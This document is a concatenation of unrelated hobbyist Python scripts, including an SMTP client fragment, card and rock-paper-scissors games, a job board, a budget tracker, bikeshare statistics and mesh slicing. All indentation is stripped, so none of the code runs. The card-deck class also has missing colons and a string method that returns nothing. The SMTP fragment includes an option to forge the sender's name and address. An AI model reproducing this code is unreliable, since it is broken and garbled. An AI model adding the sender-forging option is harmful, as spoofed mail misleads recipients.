# Send DATA command and print server response.
dataCommand = "DATA\r\n"
clientSocket.send(dataCommand)
recv1 = clientSocket.recv(1024)
print recv1
if recv1[:3] != '354':
print '354 reply not received from server.'
# Send message data.
messageData = msg
# Message ends with a single period.
markEnding = endmsg
if wantToSpoof == 'y':
FROM = nameSpoofSender+emailOfSpoof
else:
FROM = sender
TO = recipient
clientSocket.send("FROM: "+FROM+"TO: "+TO+"SUBJECT: "+subject+messageData+markEnding)
recv1 = clientSocket.recv(1024)
print recv1
if recv1[:3] != '250':
print '250 reply not received from server'
# Send QUIT command and get server response.
quitCommand = "QUIT\r\n"
print quitCommand
clientSocket.send(quitCommand)
recv1 = clientSocket.recv(1024)
print recv1
if recv1[:3] != '221':
print '221 reply not received from server'
print '\r\nMessage has been sent!\r\n'
|
from random import shuffle
from enum import Enum
class Suit(Enum):
hearts = 1
diamonds = 2
spades = 3
clubs = 4
class Card:
def __init__(self, suit, value)
self.suit = suit
self.value = value
def __str__(self):
text = ""
# Value
try:
text = {
11: 'J',
12: 'Q',
13: 'K',
14: 'A'
} [self.value]
except KeyError:
text = str(self.value)
# Suit
text += {
Suit.hearts: b'\xe2\x99\xa5\xef\xb8\x8f',
Suit.diamonds: b'\xe2\x99\xa6\xef\xb8\x8f',
Suit.spades: b'\xe2\x99\xa0\xef\xb8\x8f',
Suit.clubs: b'\xe2\x99\xa3\xef\xb8\x8f'
} [self.suit].decode('utf-8')
class Deck:
def __init__(self):
self.cards = []
self.inplay = []
for suit in Suit:
for value in range(2, 15)
self.cards.append( Card(suit, value) )
self.total_cards = 52
def shuffle(self)
self.cards.extend( self.inplay )
self.inplay = []
shuffle( self.cards )
def deal(self, number_of_cards):
if(number_of_cards > len(self.cards) ):
return False # Not enough cards
inplay = []
for i in range(0, number_of_cards):
inplay.append( self.cards.pop(0) )
self.inplay.extend(inplay)
return inplay
def cards_left(self):
return len(self.cards)
|
from tkinter import *
import random
# Dictionaries and vars
outcomes = {
"rock": {"rock": 1, "paper": 0, "scissors": 2},
"paper": {"rock": 2, "paper": 1, "scissors": 0},
"scissors": {"rock": 0, "paper": 2, "scissors": 1}
}
comp_score = 0
player_score = 0
# Functions
def converted_outcome(number):
if number == 1:
return "rock"
elif number == 2:
return "paper"
elif number == 3:
return "scissors"
def outcome_handler(user_choice):
global comp_score
global player_score
random_number = random.randint(1, 3)
computer_choice = converted_outcome(random_number)
outcome = outcomes[user_choice][computer_choice]
player_choice_label.config(fg="darkred", text="Player Choice : " + str(user_choice))
computer_choice_label.config(fg="darkgreen", text="Computer Choice : " + str(computer_choice))
if outcome == 2:
player_score = player_score + 2
player_score_label.config(text="Player : " + str(player_score))
outcome_label.config(fg="darkblue", text="Outcome : Player Won")
elif outcome == 0:
comp_score = comp_score + 2
computer_score_label.config(text="Computer : " + str(comp_score))
outcome_label.config(fg="darkblue", text="Outcome : Computer Won")
elif outcome == 1:
player_score = player_score + 1
comp_score = comp_score + 1
player_score_label.config(text="Player : " + str(player_score))
computer_score_label.config(text="Computer : " + str(comp_score))
outcome_label.config(fg="darkblue", text="Outcome : Draw")
# Main Screen
master = Tk()
master.title("RockPaperScissors")
# Labels
Label(master, fg="darkred", text="Rock", font=("Calibri", 22)).grid(row=0, sticky=W, pady=55, padx=230)
Label(master, fg="darkblue", text="Paper", font=("Calibri", 22)).grid(row=0, sticky=N, pady=55, padx=310)
Label(master, fg="darkgreen", text="Scissors", font=("Calibri", 22)).grid(row=0, sticky=E, pady=55, padx=200)
player_score_label = Label(master, text="Player : 0", font=("Calibri", 22))
player_score_label.grid(row=1, sticky=W, pady=25)
computer_score_label = Label(master, text="Computer : 0", font=("Calibri", 22))
computer_score_label.grid(row=1, sticky=E)
Label(master, text="Please select an option:", font=("Calibri", 20)).grid(row=5, sticky=W, pady=5, padx=0)
player_choice_label = Label(master, font=("Calibri", 18))
player_choice_label.grid(row=14, sticky=W, pady=20)
computer_choice_label = Label(master, font=("Calibri", 18))
computer_choice_label.grid(row=14, sticky=E, pady=20)
outcome_label = Label(master, font=("Calibri", 18))
outcome_label.grid(row=14, sticky=N, pady=20)
outcome_score = Label(master, font=("Calibri", 30))
outcome_score.grid(row=3, sticky=N, pady=10)
# Buttons
Button(master, text="Rock", width=18, fg="red", command=lambda: outcome_handler("rock")).grid(row=9, sticky=W, padx=5,
pady=5)
Button(master, text="Paper", width=18, command=lambda: outcome_handler("paper")).grid(row=9, sticky=N, padx = 5, pady=5)
Button(master, text="Scissors", width=18, command=lambda: outcome_handler("scissors")).grid(row=9, sticky=E, padx=5,
pady=5)
# Dummy Label
Label(master).grid(row=8)
master.mainloop()
|
import heapq_max
import re
def user_welcome():
print('Welcome to Pied Piper -- A one stop place for you to keep track of all available opportunities!')
print('\nAre you a job seeker or a job poster?\nEnter 1 for job seeker \nEnter 2 for job poster\nEnter 3 to close a job position\nEnter 4 to quit')
def job_search(available_jobs):
# Job Seeker needs to input position name, Location, Time period
print("\nHere is a list with the available job positions:")
position_list = []
for key in available_jobs.keys():
position_list.append(available_jobs[key][0])
print(list(set(position_list)))
name = input(
"\nPlease enter the position from the list above that you would like to have:").strip().lower()
while name not in position_list:
print("\nWe are sorry, but it looks like the position you entered is not available, please try again")
name = input(
"\nPlease enter the position from the list above that you would like to have:").strip().lower()
location = input(
"\nPlease select a location among the following options: Madrid/Segovia/Online:").strip().lower()
while location != 'madrid' and location != 'segovia' and location != 'online':
print("\nWe are sorry, but it looks like the location you entered is not available, please try again")
location = input(
'\nPlease enter the location - Madrid/Segovia/Online: ').strip().lower()
time = input(
"\nPlease enter your preferred time - Spring/Fall:").strip().lower()
while time != 'spring' and time != 'fall':
print("\nWe are sorry, but it looks like the time you entered is not available, please try again")
time = input(
'\nPlease enter the time period - Spring/Fall: ').strip().lower()
user_preference = {name, location, time}
print()
jobs_heap = []
for jobs, conditions in available_jobs.items():
conditions_set = set(conditions)
priority = len(user_preference & conditions_set)
heapq_max.heappush_max(jobs_heap, (priority, jobs))
print('\nBased on your current preferences, these are the jobs that best suit them: \n')
knt = 0
for i in range(len(jobs_heap)):
if jobs_heap[i][0] > 0:
knt += 1
print('Option', knt, ':',
str(available_jobs[jobs_heap[i][1]])[1:-1], '\n')
def email_check(email):
regex = '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
if(re.search(regex, email)):
return True
else:
return False
def job_insert(available_jobs):
print('\nYou are posting a job!')
print('\nPlease enter the following details: ')
# Job Poster needs to input position name, Location, Description of the position, Contact Info, Time period, name of club
keys = [key for key in available_jobs.keys()]
title = input(
'\nPlease enter the position name in the following format: Name of Club + Position Name Eg- Debate Club President: ').strip().lower()
while title in keys:
print('\nPosition title already exisits. Enter a different one!')
title = input(
'\nPlease enter the position name in the following format: Name of Club + Position Name Eg- Debate Club President: ').strip().lower()
position = input('\nPlease enter the position: ').strip().lower()
while not position.isalpha():
print('\nInvalid input. Please enter again!')
position = input('\nPlease enter the position: ').strip().lower()
club = input('\nPlease enter the club name: ').strip().lower()
while not club.isalpha():
print('\nInvalid input. Please enter again!')
club = input('\nPlease enter the club name: ').strip().lower()
location = input(
'\nPlease enter the location - Madrid/Segovia/Online: ').strip().lower()
while location != 'madrid' and location != 'segovia' and location != 'online':
print("\nWe are sorry, but it looks like the location you entered is not available, please try again")
location = input(
'\nPlease enter the location - Madrid/Segovia/Online: ').strip().lower()
email = input('\nPlease enter the email address: ').strip().lower()
while not email_check(email):
print("\nWe are sorry, but it looks like the email address is not valid, please try again")
email = input('\nPlease enter the email address: ').strip().lower()
time = input(
'\nPlease enter the time period - Spring/Fall: ').strip().lower()
while time != 'spring' and time != 'fall':
print("\nWe are sorry, but it looks like the time you entered is not available, please try again")
time = input(
'\nPlease enter the time period - Spring/Fall: ').strip().lower()
description = input('\nPlease enter the job description: ').strip().lower()
values = [position, club, location, time, email, description]
available_jobs[title] = values
print('\nThe position has been added!\n')
print(title, ':', str(values)[1:-1])
def job_delete(available_jobs):
print('\nYou are deleting a job!')
print('\nThese are the available job positions:')
keys = [key for key in available_jobs.keys()]
print(str(keys)[1:-1])
position = input(
'\nPlease enter the job position from the above list: ').strip().lower()
while position not in keys:
print('\nInvalid deletion. Please enter a valid position to be deleted')
position = input(
'\nPlease enter the job position from the above list: ').strip().lower()
del available_jobs[position]
print('\nThe', position, 'job has been deleted!')
def default_jobs():
available_jobs = {}
# Job Poster needs to input position name, Location, Description of the position, Contact Info, Time period, name of club
available_jobs['coding club coordinator'] = ['club coordinator', 'coding club', 'madrid', 'spring',
'[email protected]', 'you will be responsible for organising events and workshops']
available_jobs['music club coordinator'] = ['club coordinator', 'music club', 'online', 'spring',
'[email protected]', 'you will need to create new events and work on buidling a music team at IE']
available_jobs['debate club coordinator'] = ['club coordinator', 'debate club', 'segovia', 'spring',
'[email protected]', 'you will need to organise debates/discussions for students and collaborate with other clubs to organise events']
available_jobs['excursion club graphic designer'] = ['graphic designer', 'excursion club', 'madrid', 'spring',
'[email protected]', 'you will need to design posters and other promotional materials for the club']
available_jobs['stork graphic designer'] = ['graphic designer', 'the stork', 'online', 'spring',
'[email protected]', 'you will need to design posters and other promotional materials for the Stork']
available_jobs['eco club president'] = ['club president', 'eco club', 'segovia', 'spring',
'[email protected]', 'we are looking for people to take over the leadership board for the Eco Club Segovia branch']
return available_jobs
def check_options(available_jobs):
try:
option = input('\nPlease enter your answer: ')
while option != '1' and option != '2' and option != '3' and option != '4':
print('\nIncorrect input. Please enter again')
option = input('\nPlease enter your answer: ')
if int(option) == 1:
job_search(available_jobs)
if int(option) == 2:
job_insert(available_jobs)
if int(option) == 3:
job_delete(available_jobs)
except ValueError:
print("\nWe are sorry, it appears you did not enter the right characters, please try again")
except:
print("\nOops! Something went wrong, please try again later")
def main():
user_welcome()
available_jobs = default_jobs()
check_options(available_jobs)
main()
|
def flipbits(byte):
"""
this is just for practice doing bit shifting in python
pass in a byte and flip all of the bits in it
"""
bytecopy = 0
for i in range(8):
if (byte >> i) & 1 == 1:
bytecopy += 1
bytecopy = bytecopy << 1
return bytecopy
print(flipbits(2))
print(flipbits(flipbits(2)))
print(flipbits(flipbits(flipbits(2))))
print(flipbits(flipbits(flipbits(flipbits(2)))))
|
# -*- coding: utf-8 -*-
import json
alphabet_f = open("alphabet.json", "r")
alphabet = json.load(alphabet_f)
alphabet_f.close()
def main(first=True):
if first:
print "--------------------------------------"
print "Zamiennik polskich liter na rosyjskie"
print "--------------------------------------"
print "Podaj literę:"
letter = raw_input()
letter = letter.lower()
if letter in alphabet:
print "Rosyjski odpowiednik: "
print alphabet[letter]
else:
print 'Chyba coś źle wpisałeś..'
main(first=False)
if __name__ == "__main__":
try:
main(first=True)
except KeyboardInterrupt:
print "\nBye in polish xD"
|
class Solution:
def isPalindrome(self, x: int) -> bool:
a = list(str(x))
b = a[::-1]
return a==b
# 巨大的坑就是python只能识别True和False是bool变量,如果if a==b: return true就会把true当作变量而报错
|
import random
def caesar(plaintext,shift):
alphabet=["a","b","c","d","e","f","g","h","i","j","k","l",
"m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
#Create our substitution dictionary
dic={}
for i in range(0,len(alphabet)):
dic[alphabet[i]]=alphabet[(i+shift)%len(alphabet)]
#Convert each letter of plaintext to the corrsponding
#encrypted letter in our dictionary creating the cryptext
ciphertext=""
for l in plaintext.lower():
if l in dic:
l=dic[l]
ciphertext+=l
return ciphertext
def get_challenge(user_name, challenge_input=None):
if not challenge_input:
challenge_input= random.randint(1,25)
message = "THE ANSWER IS YOU : %s" % (user_name)
return caesar(message, challenge_input),'', challenge_input
def get_challenge_title():
return 'Customized challenge'
def get_challenge_duration():
return 60
def get_challenge_description():
return 'You received another message. Decode it but you have to be quick, this challenged is timed.'
def check_challenge(user, challenge_input, challenge_response):
return user['username'] == challenge_response
def get_challenge_output():
return 'C=3'
|
from tkinter import *
def select():
print ("You have selected " + variable.get())
#master.quit()
def logIn():
print("This section is to transport user to sign in section")
def addUser():
print("This section is to add a User")
master = Tk()
variable = StringVar(master)
variable.set("(select person)") # default value
logIn = Button(master, text="Log In", command= logIn )
logIn.pack()
addUser = Button(master, text="Add User", command= addUser )
addUser.pack()
w = OptionMenu(master, variable, "Andrew", "Sujay", "Austin", "Brady", "Nikhil", "Hamza")
w.pack()
select = Button(master, text="Select", command= select )
select.pack()
mainloop()
|
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
def readInCSV(title):
df = pd.read_csv(title)
return convertToDateTime(df)
def convertToDateTime(df):
rows = df.shape[0] # The number of rows in the dataframe
for i in range(0,rows): # Change all dates to pandas date time objects for sorting later on
df.at[i, "Date"] = pd.to_datetime(df.at[i,"Date"], errors='raise').date()
return df
df = readInCSV('budget.csv')
price = None
category = None
date = None
date_dict = {}
category_dict = {}
list_of_dates = df["Date"].tolist()
list_of_prices = df["Ammount"].tolist()
list_of_categories = df["type"].tolist()
# Lets the user modify the date, category, or amount given a row in a dataframe
def modifyEntry(df, row, date=None, category=None, amount=None):
# Verify if date was provided
if date != None:
try:
df.at[row, "Date"] = pd.to_datetime(date, errors='raise').date() # The format is normalized to M/D/Y
except:
print("Please enter date in M/D/Y ex. 10/2/2018")
raise ValueError
# Verify if category was provided
if category != None:
try:
category = str(category)
if not category.isalpha(): # Check to make sure string contains only letters
raise TypeError
df.at[row, "type"] = category
except TypeError:
print('Please enter a string for the type')
raise TypeError
# Verify if amount was provided
if amount != None:
amount = str(amount)
try:
amount = format(float(amount), '.2f') # Format the string to have 2 decimal points
if float(amount) >= 0: # Make sure not negative number
dollarAmount = '$' + amount # Add dollar sign to the string
df.at[row, "Ammount"] = dollarAmount
else:
raise ValueError
except ValueError:
print('Please enter a float for the amount')
raise ValueError
#f = open("budget.csv", "w")
# df.to_csv(f, index=False, header=True)
date_dict.clear()
category_dict.clear()
return df
# Deletes an entire row in a dataframe and reindexes the dataframe
def deleteRowEntry(df, row):
df = df.drop([row]).reset_index(drop=True)
date_dict.clear()
category_dict.clear()
return df
def newexpense(df, amount=None, category=None, date=None):
# If all optional params are None, then read input
if not amount and not category and not date:
amount = input("Enter Amount")
category = input("Enter Category")
date = input("Enter Date")
rowIndex = df.shape[0] # get the row index to add to
df = modifyEntry(df, rowIndex, date=date, category=category, amount=amount)
date_dict.clear()
category_dict.clear()
return df
def convertprice(price): # removes dollar sign
length = len(price)
sObject = slice(1, length)
numerical = float(price[sObject])
return numerical
def sumitems(df): # sums the items
z = df["Ammount"]
total = 0.0
for items in z:
length = len(items)
sObject = slice(1, length)
numerical = items[sObject]
total += float(numerical)
return total
def timeseries(df): # time series chart
sums = sumkeys(makedatedict(df))
unique_date_list = list(date_dict.keys())
ttsum = np.cumsum(sums)
plt.scatter(unique_date_list, ttsum, color = "red")
numx = np.arange(0, len(unique_date_list))
plt.plot(np.unique(numx), np.poly1d(np.polyfit(numx, ttsum, 1))(np.unique(numx)))
plt.ylabel('Total $ Spent')
plt.xlabel('Date')
plt.show()
return ttsum
def pie(df): # pie chart
sums = sumkeys(makecategorydict(df))
sizes = []
unique_category_list = list(category_dict.keys())
total_values = sumitems(df)
for items in sums:
pp = items/total_values
sizes.append(pp)
fig1, ax1 = plt.subplots()
ax1.pie(sizes, labels=unique_category_list, autopct='%1.1f%%',textprops={'fontsize': 14})
ax1.axis('equal')
ax1.set_title('Pie Chart Based on Type')
plt.show()
def makedatedict(df): # making the date dictionary
list_of_prices = df["Ammount"].tolist()
list_of_dates = df["Date"].tolist()
date_strings = [str(i) for i in list_of_dates]
for index in range(len(date_strings)):
if date_strings[index] in date_dict:
(date_dict[date_strings[index]]).append(convertprice(list_of_prices[index]))
else:
date_dict[date_strings[index]] = [convertprice(list_of_prices[index])]
return date_dict
def makecategorydict(df): # making the type dictionary
list_of_prices = df["Ammount"].tolist()
list_of_categories = df["type"].tolist()
for index in range(len(list_of_categories)):
lowercaseItem = str(list_of_categories[index]).lower()
if lowercaseItem in category_dict:
(category_dict[list_of_categories[index]]).append(convertprice(list_of_prices[index]))
else:
category_dict[list_of_categories[index]] = [convertprice(list_of_prices[index])]
return category_dict
def sumkeys(dick): # summing the values in each key
list_of_date_sums = []
for items in dick:
x = sum(dick[items])
list_of_date_sums.append(x)
return list_of_date_sums
# print("Total Spent on Each Date:", listOfDateSums)
|
import time
import pandas as pd
import numpy as np
CITY_DATA = { 'chicago': 'chicago.csv',
'new york city': 'new_york_city.csv',
'washington': 'washington.csv' }
def get_filters():
"""
Asks user to specify a city, month, and day to analyze.
Returns:
(str) city - name of the city to analyze
(str) month - name of the month to filter by, or "all" to apply no month filter
(str) day - name of the day of week to filter by, or "all" to apply no day filter
"""
print('Hello! Let\'s explore some US bikeshare data!')
# TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs
city_selection = input('To view the available bikeshare data, kindly type:\n The letter (c) for Chicago\n The letter (n) for New York City\n The letter (w) for Washington\n ').lower()
while city_selection not in ["c","n","w"]:
print("That's invalid input. ")
city_selection = input('To view the available bikeshare data, kindly type:\n The letter (c) for\
Chicago\n The letter (n) for New York City\n The letter (w) for Washington\n ').lower()
city_selections={"c":'chicago.csv',"n":'new_york_city.csv',"w":'washington.csv'}
if city_selection in city_selections.keys():
city=city_selections[city_selection]
# TO DO: get user input for month (all, january, february, ... , june)
months=['january', 'february', 'march', 'april', 'may', 'june', 'all']
month=input('\n\nTo filter {}\'s data by a particular month, please type the month name or all for not filtering by month:\n-January\n-February\n-March\n-April\n-May\n-June\n-All\n\n:'.format(city.title())).lower()
while month not in months:
print("That's invalid choice, please type a valid month name or all.")
month = input(
'\n\nTo filter {}\'s data by a particular month, please type the month name or all for not filtering by month:\n-January\n-February\n-March\n-April\n-May\n-June\n-All\n\n:'.format(
city.title())).lower()
# TO DO: get user input for day of week (all, monday, tuesday, ... sunday)
days=['monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday', 'all']
day=input('\n\nTo filter {}\'s data by a particular day, please type the day name or all for not filtering by day:\n-Monday\n-Tuesday\n-Wednesday\n-Thursday\n-Friday\n-Saturday\n-Sunday\n-All\n\n:'.format(
city.title())).lower()
while day not in days:
print("That's invalid choice, please type a valid day name or all.")
day = input(
'\n\nTo filter {}\'s data by a particular day, please type the day name or all for not filtering by day:\n-Monday\n-Tuesday\n-Wednesday\n-Thursday\n-Friday\n-Saturday\n-Sunday\n-All\n\n:'.format(
city.title())).lower()
print('-'*40)
return city, month, day
def load_data(city, month, day):
# load data file into a dataframe
df=pd.read_csv(city)
# convert the Start Time column to datetime
df["Start Time"]=pd.to_datetime(df["Start Time"])
# extract month and day of week from Start Time to create new columns
df["Month"]=df["Start Time"].dt.month
df["Day"]=df["Start Time"].dt.day_name()
# filtering by month
if month != "all":
# use the index of the months list to get the corresponding int
months=['january', 'february', 'march', 'april', 'may', 'june']
month = months.index(month) + 1
# filter by month to create the new dataframe
df=df[df["Month"] == month]
# filtering by day of week
if day != "all":
# filter by day of week to create the new dataframe
df=df[df["Day"] == day.title()]
return df
def time_stats(df):
"""Displays statistics on the most frequent times of travel."""
print('\nCalculating The Most Frequent Times of Travel...\n')
start_time = time.time()
# TO DO: display the most common month
popular_month = df['Month'].mode()[0]
print("The most common month : ", popular_month)
# TO DO: display the most common day of week
popular_day = df['Day'].mode()[0]
print("The most common day of week : ",popular_day)
# TO DO: display the most common start hour
df["Hour"]=df["Start Time"].dt.hour
popular_hour = df['Hour'].mode()[0]
print("The most common start hour : ",popular_hour)
print("\nThis took %s seconds." % (time.time() - start_time))
print('-'*40)
def station_stats(df):
"""Displays statistics on the most popular stations and trip."""
print('\nCalculating The Most Popular Stations and Trip...\n')
start_time = time.time()
# TO DO: display most commonly used start station
popular_startstation = df["Start Station"].mode()[0]
print("The most commonly used start station : ",popular_startstation)
# TO DO: display most commonly used end station
popular_endstation = df["End Station"].mode()[0]
print("The most commonly used end station : ", popular_endstation)
# TO DO: display most frequent combination of start station and end station trip
df["rout"] = df["Start Station"] + "-" + df["End Station"]
popular_combination=df["rout"].mode()[0]
print("The most frequent combination of start station and end station trip : ",popular_combination)
print("\nThis took %s seconds." % (time.time() - start_time))
print('-'*40)
def trip_duration_stats(df):
"""Displays statistics on the total and average trip duration."""
print('\nCalculating Trip Duration...\n')
start_time = time.time()
# TO DO: display total travel time
total_traveltime=df["Trip Duration"].sum()
print("The total travel time : ",total_traveltime)
# TO DO: display mean travel time
mean_traveltime=df["Trip Duration"].mean()
print("The mean travel time : ",mean_traveltime)
print("\nThis took %s seconds." % (time.time() - start_time))
print('-'*40)
def user_stats(df,city):
"""Displays statistics on bikeshare users."""
print('\nCalculating User Stats...\n')
start_time = time.time()
# TO DO: Display counts of user types
user_types=df["User Type"].value_counts()
print("\nThe counts of user types : \n",user_types)
# TO DO: Display counts of gender
# I can fix this issue also by using Try & except blocks.
if city == 'washington.csv':
print("This data is not available for Washington.")
else:
gender_types=df["Gender"].value_counts()
print("\nThe counts of gender : \n",gender_types)
# TO DO: Display earliest, most recent, and most common year of birth
# I can fix this issue also by using Try & except blocks.
if city == 'washington.csv':
print("This data is not available for Washington.")
else:
earliest=df["Birth Year"].min()
most_recent=df["Birth Year"].max()
most_common=df["Birth Year"].mode()
print("\nThe earliest year of birth : {}\n The most recent year of birth : {} \n The most common year of birth : {}".format(earliest,most_recent,most_common))
print("\nThis took %s seconds." % (time.time() - start_time))
print('-'*40)
def display_raw_data(city):
print('\n Raw data is available to check... \n')
display_raw=input("\n Would you like to see the raw data? Enter yes or no.\n")
while display_raw == "yes":
try:
for chunk in pd.read_csv(city,chunksize=5):
print(chunk)
display_raw = input("\n May you want to have a look on more raw data? Type yes or no\n")
if display_raw != "yes" :
print("Thank you so much.")
break
break
except KeyboardInterrupt:
print("Thank you so much.")
def main():
while True:
city, month, day = get_filters()
df = load_data(city, month, day)
time_stats(df)
station_stats(df)
trip_duration_stats(df)
user_stats(df,city)
display_raw_data(city)
restart = input('\nWould you like to restart? Enter yes or no.\n')
if restart.lower() != 'yes':
break
if __name__ == "__main__":
main()
|
import numpy as np
import math
import time
from plotting import plot_lines, plot_points, plot_vectors
def is_inside(point, polygon):
"""
Check is given 2d point inside given polygon or not
:param point: 2d point for check
:param polygon: list of lines of polygons
:return: boolean value: 1 if point is inside polygon otherwise will be returned 0
"""
c_west = 0
i = 0
for line in polygon:
if abs(line[1][1] - line[0][1]) > 0.001:
x_int = line[0][0] + (point[1] - line[0][1]) * (line[1][0] - line[0][0]) / (line[1][1] - line[0][1])
if abs(line[1][0] - line[0][0]) < 0.001:
# parralel Ox
x_int = line[1][0]
if ((min(line[0][0], line[1][0]) <= x_int) and
(max(line[0][0], line[1][0]) >= x_int) and
(min(line[0][1], line[1][1]) <= point[1]) and
(max(line[0][1], line[1][1]) >= point[1]) and
(x_int <= point[0])):
c_west = 1 - c_west
# print(i, x_int, line[0][0], line[1][0], c_west)
i += 1
return c_west
def one_slice(vectors, height, x_min, x_max, y_min, y_max, box_size, decimals=6, frac=0.001, debug=False):
"""
make boxed slice for given height
:param vectors: array of 3d object
:param height: heeigth for slice
:param x_min: min x coordinate of the object
:param x_max: max x coordinate of the object
:param y_min: min y coordinate of the object
:param y_max: max y coordinate of the object
:param decimals: number of the decimals after point for rounding operations after math calculation
:param box_size: size of the cube box
:param frac: error in comparison
:return: 2d binary array where 1 means that there`s a cube
"""
lines_of_slice = []
triangles_of_slice = []
plot_vectors(vectors, debug=debug)
# left only triangles which crosses horizontal plane
new_vectors = []
for triangle in vectors:
upper = 0
lower = 0
for i in triangle:
if i[2] > height:
upper += 1
else:
lower += 1
if upper != 0 and lower != 0:
triangles_of_slice.append([triangle.copy(), upper])
if upper != 0:
new_vectors.append(triangle.copy())
plot_vectors([i[0] for i in triangles_of_slice])
# save only line of triangles in horizontal plane
for triangle, upper in triangles_of_slice:
# find points for neadble lines
point_m = None
point_a = None
point_b = None
if upper == 2:
# two points upper than height
min_ind = 0
for i in range(2):
if triangle[min_ind][2] > triangle[i + 1][2]:
min_ind = i + 1
point_m = triangle[min_ind]
point_a = triangle[(min_ind + 1) % 3]
point_b = triangle[(min_ind + 2) % 3]
else:
# two points lower than height
max_ind = 0
for i in range(2):
if triangle[max_ind][2] < triangle[i + 1][2]:
max_ind = i + 1
point_m = triangle[max_ind]
point_a = triangle[(max_ind + 1) % 3]
point_b = triangle[(max_ind + 2) % 3]
# find intersections between lines and plane
# with a line
z = height
x_a = point_m[0] + (point_a[0] - point_m[0]) * (z - point_m[2]) / (point_a[2] - point_m[2])
y_a = point_m[1] + (point_a[1] - point_m[1]) * (z - point_m[2]) / (point_a[2] - point_m[2])
x_b = point_m[0] + (point_b[0] - point_m[0]) * (z - point_m[2]) / (point_b[2] - point_m[2])
y_b = point_m[1] + (point_b[1] - point_m[1]) * (z - point_m[2]) / (point_b[2] - point_m[2])
lines_of_slice.append([[x_a, y_a], [x_b, y_b]])
lines_of_slice = np.array(lines_of_slice)
lines_of_slice = np.around(lines_of_slice - 10 ** (-(decimals + 5)), decimals=decimals)
plot_lines(lines_of_slice,debug=debug)
# create dotted plane from given group of borders
length = math.ceil(abs(x_max - x_min) / box_size)
width = math.ceil(abs(y_max - y_min) / box_size)
slice_plane_cubes = np.zeros((length, width))
for i in range(length):
for j in range(width):
for k in range(box_size ** 2):
if slice_plane_cubes[i, j] != 0:
break
else:
if (i * box_size + k % box_size < abs(x_max - x_min)) and (
j * box_size + k // box_size < abs(y_max - y_min)):
slice_plane_cubes[i, j] += is_inside([int(round(x_min)) + i * box_size + k % box_size,
int(round(y_min)) + j * box_size + k // box_size],
lines_of_slice)
slice_plane_cubes[i, j] = slice_plane_cubes[i, j] % 2
plot_points(slice_plane_cubes,debug=debug)
return slice_plane_cubes,new_vectors
def convert_to_current_height(slice, begin_height, box_size):
points = []
for i in range(slice.shape[0]):
for j in range(slice.shape[1]):
if slice[i, j] > 0:
x_i = int(round(i * box_size + box_size / 2))
y_i = int(round(j * box_size + box_size / 2))
z_i = int(round(begin_height + box_size / 2))
points.append([x_i, y_i, z_i])
points = np.array(points, box_size)
# print(points)
return points
def one_height_slice(mesh, begin_height, box_size,box_height, vectors=None, fraction=3, debug=False):
if vectors is None:
vectors = mesh.vectors.copy()
x_min, x_max, y_min, y_max, z_min, z_max = find_mins_maxs(mesh)
step = box_height // fraction
height = begin_height
slice_plane, vectors = one_slice(vectors, height, x_min, x_max, y_min, y_max, box_size, debug=debug)
for iter in range(fraction - 2):
height += step
t_slice_plane, vectors = one_slice(vectors, height, x_min, x_max, y_min, y_max, box_size, debug=debug)
slice_plane += t_slice_plane
t_slice_plane, vectors = one_slice(vectors, begin_height + box_height, x_min, x_max, y_min, y_max, box_size, debug=debug)
slice_plane += t_slice_plane
slice_plane[slice_plane != 0] = 1
plot_points(slice_plane, debug=debug)
return slice_plane,vectors
def make_slice(mesh, box_size, box_height, fraction=3, debug=False):
beginning_time = time.time_ns()
x_min, x_max, y_min, y_max, z_min, z_max = find_mins_maxs(mesh)
length = int(math.ceil(abs(x_max - x_min) / box_size))
width = int(math.ceil(abs(y_max - y_min) / box_size))
z_size = int(math.ceil(z_max / box_height))
sliced_image = np.zeros((length, width, z_size))
vectors = None
for i in range(z_size):
temp_slice,vectors = one_height_slice(mesh, i * box_height, box_size, box_height, vectors=vectors, fraction=fraction, debug=debug)
sliced_image[:, :, i] = temp_slice
slicing_time = time.time_ns() - beginning_time
return sliced_image, slicing_time
def find_mins_maxs(mesh, decimals=6):
'''
Find borders of given 3d object
:param mesh: mesh of given 3d object
:param decimals: number of decimal places to round to
:return: borders in all axes
'''
points = np.reshape(mesh.vectors, (-1, 3))
points = np.around(points - 10 ** (-(decimals + 5)), decimals=decimals)
x_min = None
x_max = None
y_min = None
y_max = None
z_min = None
z_max = None
for point in points:
if x_max is None:
x_max = point[0]
y_max = point[0]
x_min = point[1]
y_min = point[1]
z_min = point[2]
z_max = point[2]
else:
# find x borders
if x_max < point[0]:
x_max = point[0]
elif x_min > point[0]:
x_min = point[0]
# find y borders
if y_max < point[1]:
y_max = point[1]
elif y_min > point[1]:
y_min = point[1]
# find z borders
if z_max < point[2]:
z_max = point[2]
elif z_min > point[2]:
z_min = point[2]
return x_min, x_max, y_min, y_max, z_min, z_max
|
#!/usr/bin/env python
# coding: utf-8
# In[3]:
#!/usr/bin/env python
# coding: utf-8
# In[10]:
# Shambhavi Awasthi
# Data Structures and Algorithms Nanodegree
# Project 2 - Problems vs Algorithms
# Problem 6: Max and Min in a Unsorted Array
def get_min_max(ints):
"""
Return a tuple(min, max) out of list of unsorted integers.
Args:
ints(list): list of integers containing one or more integers
"""
if len(ints)==0:
return None
else:
max=-float("inf")
min=float("inf")
for i in ints:
if(i>max):
max=i
if(i<min):
min=i
return (min,max)
## Example Test Case of Ten Integers
import random
l = [i for i in range(0, 10)] # a list containing 0 - 9
random.shuffle(l)
print ("Pass" if ((0, 9) == get_min_max(l)) else "Fail")
l = [i for i in range(0, 200)] # a list containing 0 - 9
random.shuffle(l)
print ("Pass" if ((0, 199) == get_min_max(l)) else "Fail")
# In[ ]:
|
import csv
import os
#Set path for file
csvpath =os.path.join("Resources","election_data.csv")
#csvpath =os.path.join("..","Resources","election_data.csv")
#open file
with open(csvpath,newline='') as election:
reader=csv.reader(election)
next(election)
names=[item[2] for item in reader]
candidate_list=[]
tally_list=[]
pct_list=[]
# result_list=[]
ctr=0
pct=0
#print(names)
## create unique candidate list and get the total count of the csv file
for candidate in names:
if candidate not in candidate_list:
candidate_list.append(candidate)
ctr +=1 #count all the rows in the input file
# print(f'Total votes is : {ctr}')
##compare names and count the rows for each candidate(one row = one vote)
for c,d in enumerate(candidate_list):
#ctr=0
c=0
for b in names:
if b==d:
c +=1
tally_list.append(c)
## computation for percentage
